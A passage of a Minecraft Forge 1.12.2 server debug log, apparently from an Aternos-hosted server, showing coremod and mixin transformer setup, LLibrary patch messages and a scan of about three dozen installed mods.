net/minecraft/client/model/ModelBiped/<init>(FZ)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/renderer/entity/RenderPlayer/<init>(Lnet/minecraft/client/renderer/entity/RenderManager;Z)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/handleCameraTransforms(Lnet/minecraft/client/renderer/block/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;Z)Lnet/minecraft/client/renderer/block/model/IBakedModel; [14:27:50] [main/TRACE] [FML]: Registering transformer com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin iceandfire [14:27:50] [main/DEBUG] [FML]: Coremod plugin class IceAndFirePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/shouldCauseReequipAnimation(Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Z [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin wings [14:27:50] [main/DEBUG] [FML]: Coremod plugin class WingsLoadingPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin CTMCorePlugin [14:27:50] [main/DEBUG] [FML]: Coremod plugin class CTMCorePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod Techguns Core \{techguns.core.TechgunsFMLPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for Techguns Core \{techguns.core.TechgunsFMLPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin Techguns Core [14:27:50] [main/DEBUG] [FML]: Coremod plugin class TechgunsFMLPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #3 [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/server/MinecraftServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method run()V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[DEFAULT] [14:27:50] [main/DEBUG] [mixin]: Selecting config mixins.malisiscore.core.json [14:27:50] [main/DEBUG] [mixin]: Preparing mixins.malisiscore.core.json (10) [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 20 entries [14:27:50] [main/INFO] [mixin]: A re-entrant transformer '$wrapper.sereneseasons.asm.transformer.WorldTransformer' was detected and will no longer process meta class data [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/World to metadata cache [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 19 entries [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/WorldServer to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/chunk/Chunk to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemBlock to metadata cache [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method func_184338_a(Lnet/minecraft/network/play/client/CPacketVehicleMove;)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getFastestEntityMotionSpeed(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.text.TextComponentTranslation. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.math.BlockPos. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.tileentity.CommandBlockBaseLogic. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.item.ItemStack. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_147347_a(Lnet/minecraft/network/play/client/CPacketPlayer;)V [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/network/NetHandlerPlayServer to metadata cache [14:27:51] [main/DEBUG] [mixin]: Prepared 6 mixins in 0.365 sec (60.8ms avg) (0ms load, 196ms transform, 0ms plugin) [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/clientnotif/ClientNotificationManager to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/Point to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/apache/commons/lang3/tuple/Pair to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/io/Serializable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/lang/Comparable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/util/Map$Entry to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/chunkcollision/ChunkCollision to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/BlockPos to metadata cache [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/Block to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfo to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/Vec3d to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/RayTraceResult to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorldServer from mixins.malisiscore.core.json into net.minecraft.world.WorldServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.EntityLivingBase. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.Entity. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/EntityLivingBase [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_110146_f(FF)F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onUpdateBodyRotation(Lnet/minecraft/entity/EntityLivingBase;F)V [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.nbt.NBTTagList. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.player.EntityPlayerMP. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/Entity [14:27:51] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.server.MinecraftServer} [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:55] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinItemBlock from mixins.malisiscore.core.json into net.minecraft.item.ItemBlock [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/Item to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraftforge/registries/IForgeRegistryEntry$Impl to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumActionResult to metadata cache [14:27:55] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/entity/player/EntityPlayer to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumHand to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumFacing to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/state/IBlockState to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemStack to metadata cache [14:27:56] [main/DEBUG] [FML]: Creating vanilla freeze snapshot [14:27:56] [main/DEBUG] [FML]: Vanilla freeze snapshot created [14:27:57] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]: Starting minecraft server version 1.12.2 [14:27:57] [Server thread/INFO] [FML]: MinecraftForge v14.23.5.2847 Initialized [14:27:57] [Server thread/INFO] [FML]: Starts to replace vanilla recipe ingredients with ore ingredients. [14:27:58] [Server thread/INFO] [FML]: Invalid recipe found with multiple oredict ingredients in the same ingredient... [14:27:58] [Server thread/INFO] [FML]: Replaced 1227 ore ingredients [14:27:58] [Server thread/DEBUG] [FML]: File /aternos/server/config/injectedDependencies.json not found. No dependencies injected [14:27:58] [Server thread/DEBUG] [FML]: Building injected Mod Containers [net.minecraftforge.fml.common.FMLContainer, net.minecraftforge.common.ForgeModContainer, techguns.core.TechgunsCore] [14:27:58] [Server thread/DEBUG] [FML]: Attempting to load mods contained in the minecraft jar file and associated classes [14:27:58] [Server thread/DEBUG] [FML]: Found a minecraft related file at /aternos/server/forge.jar, examining for mod candidates [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/iceandfire-1.8.3.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Minecraft jar mods loaded successfully [14:27:58] [Server thread/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:58] [Server thread/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file BackTools-1.12.2-7.0.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file betteranimalsplus-1.12.2-8.0.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file bookworm-1.12.2-2.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file colorchat-1.12.1-2.0.43-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file creature_whisperer_1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file DragonMounts2-1.12.2-1.6.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file horse_colors-1.12.2-1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iceandfire-1.8.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iChunUtil-1.12.2-7.2.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file Instant Massive Structures Mod 1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file jei_1.12.2-4.15.0.292.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file k4lib-1.12.1-2.1.81-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file landmanager-1.12.2-1.4.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisisdoors-1.12.2-7.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file mowziesmobs-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file spartanfire-0.07.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file 